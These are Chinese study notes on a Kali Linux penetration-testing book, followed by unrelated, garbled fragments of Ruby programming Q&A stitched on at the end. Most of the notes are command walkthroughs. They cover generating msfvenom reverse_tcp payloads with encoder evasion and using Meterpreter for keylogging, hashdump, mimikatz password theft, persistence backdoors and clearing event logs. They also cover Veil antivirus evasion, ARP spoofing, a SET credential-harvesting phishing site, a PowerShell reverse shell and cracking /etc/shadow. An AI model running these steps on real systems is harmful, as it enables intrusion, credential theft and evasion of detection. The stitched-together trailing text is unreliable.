本文为《从实践中学习Kali Linux渗透测试》总结笔记,仅供学习使用,禁止用于非法用途,转载请附上原文链接!
traceroute
获取目标主机的路由条目,确定网络拓扑。每一跳表示一个网关,星号可能为防火墙导致。

nmap -sP ip/ip段
对目标主机实施ping扫描,探测主机是否在线
也可以通过其他语法,扫描主机开放端口、使用的操作系统等

ARP侦查工具,可以扫描IP地址,检查在线主机。
netdiscover -r CIDR格式
ARP请求广播到网络上所有主机,发现活动主机。
Netdiscover被动模式实施监听。
netdiscover -p

Nmap的broadcast-dhcp-discover脚本实施DHCP监听来发现主机
nmap --script broadcast-dhcp-discover
域名详细信息、子域名、服务器地址等
域名注册状态、注册商、所有者等
whois 域名

一体化信息收集工具,收集whois主机ip和域名信息等。
dmitry -w 域名

dmitry 域名
通过谷歌,需要使用vpn(通过proxychains)

确定域名对应的ip地址
域名信息收集工具,通过谷歌或字典猜测可能存在的域名,并且反向查询网站的主机地址、域名服务器、邮件交换记录等。
dnsenum -w 域名

dns服务器检测和排错的工具,查询域名解析是否正常。
nslookup 域名
检查网络是否连通
ping 目标
扫描端口,发现目标主机中运行的程序。
nmap -p 端口范围 目标

dmitry -p 目标

针对性的对系统程序实施漏洞探测。
TTL,生存时间,IP被路由器丢弃之前允许通过的最大网段,不同操作系统不同TTL值。UNIX-255,Windows XP-128,Linux-64,不准确。
使用ping得到ttl值
nmap -O 目标

结果有时不准确。
服务版本信息,旧版本可能存在漏洞。
nmap -sV 目标

识别网络服务的渗透测试工具集,包括amap和amapcrap两个工具,amap尝试识别非常用端口上运行的程序,amapcrap发送触发数据包,在响应字符串列表中查找响应来识别非ASCII编码的应用程序。
特殊服务可以提供额外的信息,利用方法。
服务器共享
smbclient -L IP -U 用户名
简单网络管理协议,获取主机信息。
snmp-check 目标
可获取系统信息(主机名、操作系统类型及架构)、用户账户信息、网络信息(TTL值、TCP段和数据元)、网络接口信息(接口状态、速率、IP地址和子网掩码)、网络IP信息、路由信息(目标地址、下一跳地址、子网掩码和路径长度值)、监听的TCP端口、UDP端口、网络服务信息(分布式组件对象模型、DHCP客户端、DNS客户端等)、进程信息、存储信息、文件系统信息、设备信息、软件组件信息等。
Maltego,信息收集工具,信息可视化。
需要到官网注册并且使用外网,类似画拓扑图的软件。

验证目标系统可能存在的危害。
changeme -a 目标
探测目标是否使用默认密码(新版本中已移除该工具)
使用低权限进行高权限操作
Intel软件漏洞、str2-045远程代码执行漏洞
常存在于硬件设备或芯片中,CPU漏洞等。
① 官网下载安装包(kexueshangwang)
https://www.tenable.com/downloads/nessus?loginAttempted=true

② 安装
dpkg -i Nessus-10.1.2-debian6_amd64.deb
③启动
/bin/systemctl start nessusd.service
④激活Nessus服务
https://www.tenable.com/products/nessus/activation-code
Nessus Essentials 注册,在邮箱中接收激活码
kali中访问https://kali:8834/
跳过注册,直接输入激活码,注册一个账号,等待下载。
(注:下载失败,可通过命令下载,结合代理
find / -name nessuscli
proxychains /opt/nessus/sbin/nessuscli update
然后重新启动nessus,刷新网页)

开放式漏洞评估系统。需要额外安装。
apt-get install opevas -y
自行了解,不再赘述。
检查配置、三方查找等。
远程桌面端口、弱密码、web服务SQL注入、FTP服务匿名用户权限…
unix-privesc-check是kali自带的提权漏洞检测工具。可检测各类文件的读写权限。
unix-privesc-check standard或detailed(详细模式)

官网漏洞信息、CVE和微软漏洞网站。
利用程序漏洞获取计算机控制权。
开源的安全漏洞检测软件,包括了智能开发、代码审计、web应用程序扫描和社会工程等各项功能。
强大之处在于提供了大量的渗透测试模块和插件。7种类型,Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)、Evasion(规避模块)。
利用发现的漏洞或配置进行攻击,植入载荷,获取控制权。
主动渗透攻击(主动连接请求)、被动渗透攻击(构造恶意内容诱骗触发)
扫描检测、虚假服务收集密码和口令猜测、拒绝服务攻击等
取得远控权限后,获取敏感信息、进一步拓展、跳板攻击等
渗透成功后促使目标系统运行的植入代码,通常作用是打开目标系统的控制会话连接。
分为Single(独立)、Stager(传感器)、Stage(传输体)3种。
-Single:完全独立的payload,可能会被netcat等捕获;
-Stager:负责建立网络连接,下载额外的组件或应用程序,常见的有reverse_tcp,可建立tcp连接,让目标系统主动连接攻击者的端口。还有一种是bind_tcp,可以让目标系统开启一个TCP监听器,随时可通信。
-Stage:传感器下的一种组件,提供更高级的功能,没有大小限制。
对程序运行状态不会造成实质影响的空操作或无关操作指令。如X86 CPU体系操作码是0x90。构造恶意数据缓冲区时,常在Shellcode之前加一段空指令区,触发攻击后跳转执行有一个较大的安全着陆区,避免受到内存地址随机化及返回地址计算偏差等原因造成执行失败,提供渗透可靠性。
攻击载荷和空指令模块组装完成为指令序列后,运行之前还需要进行编码。一是确保不会出现坏字符,二是免杀处理。
规避windows自带的防火墙,对系统实时监控。
扩展框架功能,可集成Nessus、OpenVAS等。
提供图形界面和终端模式。
java编写的图形化攻击软件。
由于作者不再更新,2021新版kali已移除该程序。

最为流行的用户接口,功能最丰富,支持最好的工具之一。
启动:
msfconsole

kali中metasploit主要使用postgreSQL存储,所以需启动PostgreSQL,并且初始化。
service postgresql start
msfdb init
(注:已经初始化metasploit会提示数据库已经配置)
区分不同的扫描任务,保存不同的信息。
msf6>workspace -a 名称 #新建工作区
msf6>workspace 名称 #切换当前工作区
msf6>workspace -v #查看工作区信息


可以导入一些第三方的扫描报告,如openvas.xml
db_import 文件名
主要使用渗透测试模块,也可以导入第三方模块。
导入扫描报告,分析,找出目标系统漏洞。
msf6>hosts #查看主机信息
msf6>vulns #查看漏洞信息

msf6>search 选项 关键字
-h 帮助 -o 文件 指定输出文件 -S string 指定搜索的字符串 -u 指定搜索模块
msf6>search cve:2019 #查找cve为2019年的漏洞模块
msf6>search name:MS17-010 #查找名字
msf6>use exploit/windows/smb/ms17_010_eternalblue #使用该攻击模块


msf6 >set payload payload名称
msf6 >show payload #查看可加载的payload
加载攻击载荷后,需要进行配置。
msf6 > show options #查看可配置选项
例. 生成win7木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.0.109 #这里的地址设置成我们刚才生成木马的IP地址
msf6 > set lport 9999 #这里的端口设置成刚才我们生成木马所监听的端口
msf6 > exploit #开始执行漏洞,开始监听,等待 Win 7主机上线

一些模块可支持多个系统架构,一般默认会自动的。
msf6 > show targets #查看该模块支持所有目标架构
msf6 > set target [id] #设置架构编号
避免出现坏字符或被防火墙拦截,可为载荷编码。
主要使用msfvenom工具,是MSF配套的攻击载荷生成器。
-p 指定payload;-e 指定编码格式;-a 指定系统架构,默认x86;-s指定payload最大值;-i 指定编码次数;-f 指定生成文件格式。
msfvenom -l encoders #查看支持的所有编码
msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.0.109 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe

成功渗透后,获取到Meterpreter会话,可以利用命令获取主机更多信息或控制主机,如关闭杀软、键盘捕获、屏幕截图、提升权限及创建账户等。
meterpreter >run killav
meterpreter >sysinfo
meterpreter >run scraper
meterpreter >run post/windows/gather/checkvm
和linux相同,支持pwd、ls、rm、cd、mkdir等命令
meterpreter >download file
meterpreter >upload file
meterpreter >keyscan_start
meterpreter >keyscan_dump
meterpreter >keyscan_stop
meterpreter >screenshot
meterpreter >run post/windows/gather/enum_logged_on_users
meterpreter >getuid #查看当前用户权限
meterpreter >getsystem #提权
meterpreter >hashdump
需要进一步破解才能得到真的密码。
针对32位系统。
meterpreter >load mimikatz
meterpreter >help mimikatz
meterpreter >mimikatz_command -f sekurlsa::wdigest -a "full"
meterpreter >msv # 获取哈希密码
meterpreter >wdigest # 获取登录过用户存储在内存的明文密码
Meterppreter可以单独运行也可以与进程进行绑定,实现持久化。
meterpreter >ps #查看当前系统中运行的进程
meterpreter >getpid #查看当前进程的ID
meterpreter >migrate 指定绑定进程ID
使用execute命令在目标系统中执行应用程序。
meterpreter >execute [选项] -f 命令
-H 创建一个隐藏进程;-a 传递给命令的参数;-i 跟进程进行交互;-m 从内存中执行;-t 使用当前伪造的线程令牌运行进程;-s 在给定的会话中执行进程。
meterpreter >execute -s 1 -f cmd
meterpreter >run post/windows/manage/enable_rdp
meterpreter >idletime # 检查远程用户的空闲时长
使用hashdump命令和mimikatz模块等获取用户和密码。
在kali中远程桌面:
rdesktop 目标IP
Meterpreter是基于内存DLL建立的连接,所以目标断开则连接会断开,因此需要持久后门,开机时会主动连接。
meterpreter >run persistence -X -i <opt> -p <opt> -r <opt>
-X 系统启动后自动启动代理;-i 设置每个连接尝试的时间间隔,单位为秒;-p 指定Metasploit监听的端口;-r 指定反向连接运行Metasploit的IP地址,即攻击机地址。
建立后门后,还需要本地建立监听:
meterpreter >use exploit/multi/handler
meterpreter >set payload windows/meterpreter/reverse_tcp
meterpreter >set LHOST 本机IP
meterpreter >set LPORT 本机端口
meterpreter >exploit
侵入后所有操作都会记录在系统日志文件中,所以需要清理。
meterpreter >clearev
利用一台已经攻陷的主机作为跳板,渗透网络中其他主机,可用于一些不可访问的网络环境。
查看meterpreter会话,当前攻击IP与目标IP不在同一子网则需要添加路由;
meterpreter >run get_local_subnets #查看目标系统上的子网
meterpreter >background #将会话放到后台运行
msf6 exploit(handler) > route add [子网] [掩码] [会话ID]
msf6 exploit(handler) > route print #查看添加的路由条目
以上为手动,自动化操作:
msf6 exploit(handler) > load auto_add_route
msf6 exploit(handler) > exploit
使用Veil Evasion工具生成绕过杀软的攻击载荷。
kali中没有自带,需单独安装:
apt-get install veil-evasion -y
veil #启动工具,y继续,安装各种环境
veil #启动
Veil >:use Evasion #使用Evasion工具
Veil >:list #查看支持的payload
Veil >:use 攻击载荷
Veil >:set LHOST IP地址
Veil >:generate #生成
也可使用命令行模式:
veil -t Evasion -p 载荷名称 --ip IP地址 --port 端口号
生成载荷后,本地建立监听器。
没有漏洞可利用时,可对模板主机进行欺骗,获取网络中传输的数据进行分析,常见的是中间人攻击。
多为ARP欺骗(冒充网关或其他主机转发流量获取信息)和DNS欺骗。
专业ARP欺骗工具,可直接欺骗网关。
arpspoof 选项 host
-i 使用的接口;-t 目标 制定欺骗的目标,默认为所有主机;-r 双向欺骗,与-t一起使用;host 拦截包的主机,通常是本地网关。
攻击步骤:
echo 1 > /proc/sys/net/ipv4/ip_forward #开启路由转发
ifconfig #查看主机IP
arp #查看ARP缓存表
查看目标系统的IP和ARP缓存表,确定攻击机和目标主机没有任何通信,此时这两台主机通信就可实施ARP攻击。
arpspoof -i 网口名 -t 目标机 #对目标主机实施arp欺骗
arpspoof -i 网口名 -t 网关 目标机 #对网关实施arp欺骗
也可使用一条命令同时进行arp攻击:
arpspoof -i 网口名 -t 目标机 -r 网关
arp # 再次查看,发现网关与攻击机MAC地址相同,则为成功arp欺骗
ettercap -G #启动工具
选择Sniff|Unified sniffing #启动嗅探,选择接口
选择Hosts|Scan for hosts #启动扫描主机
选择Hosts|Hosts list #查看主机列表
选择两台主机Add to Target1和Target2,选择Start|Start sniffing
选择Mitm|ARP poisoning… #启动ARP注入攻击,选Sniff remote connections
攻击成功,可捕获到数据
选择Start|Stop sniffing #关闭嗅探
选择Mitm|Stop mitm attack(s) #关闭中间人攻击
也可使用命令行模式
ettercap 选项 目标1 目标2
-i 选择网口,默认为第一个;-M,–mitm METHOD:ARGS执行中间人攻击,remote表示双向,oneway表示单项;-T,–text 使用文本模式;-q,–quiet 不显示包内容;-P 插件名 加载的插件。
ettercap -Tq -M arp:remote IP1 IP2
利用人性的好奇、信任、贪婪等,攻击人自身的弱点。
setoolkit #输入y确认
set>1 #选择社工攻击


构造一些具有诱惑力的网页,诱导访问。
setoolkit
set > 1
set > 2 #选择Web攻击向量
set:webattack>3 #选择证书获取攻击方法
set:webattack>1 #选择网站生成方式,选择默认模板
输入网站IP地址,输入本机kali地址
set:webattack> Select a template:2 #选择网站模板
成功生成伪造站点,此时可结合DNS欺骗(Ettercap工具中的dns_spoof插件)来诱骗用户到伪站点。
创建一个PowerShell文件发送给目标执行,可获取一个反向远程连接。
①工具菜单选择编号9) Powershell Attack Vectors
set:powershell>1 #选择含字符和数字的Shellcode注入
②设置攻击机IP地址和回连端口,yes开启监听

在/root/.set/reports/powershell/找到x86_powershell_injection.txt文本文件,该文件则可运行PowerShell。
③将文件内容复制到目标机DOS下运行,或者后缀改为.bat,双击运行;
④在攻击机查看会话
msf6 > sessions
msf6 > sessions -i 会话ID #启动该会话
中间人攻击成功后,开启wireshark捕获对应网口的流量。
实施中间人后,使用driftnet来捕获图片,与Ettercap工具结合使用,可捕获目标主机浏览的所有图片。
driftnet -i 网口名称 -d 路径
使用Ettercap实施中间人攻击后,即可监听到访问HTTP网站的数据。
使用SSLstrip工具监听HTTPS数据。
Xplico可快速找出用户请求的网页地址、图片和视频等内容。
kali默认未安装。
收集信息并分析,创建一个合理的密码字典用于攻击。
相关邮箱、网站博客、文章、单位名称、人员名称、生日信息、名字缩写等。
系统对密码设置的限制,不能仅数字、连续英文或数字等策略。
创建密码时,提醒的密码长度和复杂度最低要求。
查看windows组策略等。
根据已有密码分析字符出现概率、位置分布和前后关系,结合生成密码字典。
可使用Stasprocessor工具(需自行安装)以供分析:
statsgen 密码文件.txt
按照制定的规则生成密码字典。
基于单词列表关键字生成字典。
生成彩虹表(针对各种可能字母组合和预先计算好哈希值的集合)。
hashid 哈希密码
LM Hash是windows最早使用的密码哈希算法之一。
使用findmyhash工具破解:
findmyhash 算法类型 选项
特定漏洞可直接使用哈希密码值,使用exploit/windows/smb/psexec渗透测试模块。
Utilman是windows辅助工具管理,没有用户登录也可调用Utilman进程。
控制路由器很容易对连接该路由器主机实施各种数据嗅探和欺骗攻击。
使用初始密码破解。
开源暴力密码破解工具,可破解FTP、HTTP、IMAP和MYSQL等密码。
linux中很多操作都需要root,普通用户的会话无法提权基本没用。
密码散列保存在/etc/shadow中,需要破解得到原始密码。
破解之前还需要/etc/passwd文件,保存了用户基本信息,如用户名称、宿主登录和登录shell等。
破解流程:
cp /etc/passwd /etc/shadow /root/
unshadow passwd shadow > cracked #将内容提取保存在cracked目录中
john --wordlist=/usr/share/john/password.lst cracked #使用john工具和字典破解

无线网络数据以广播的方式,引起了安全问题。
以下为思维导图:

我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于
我正在尝试使用ruby和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h
我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po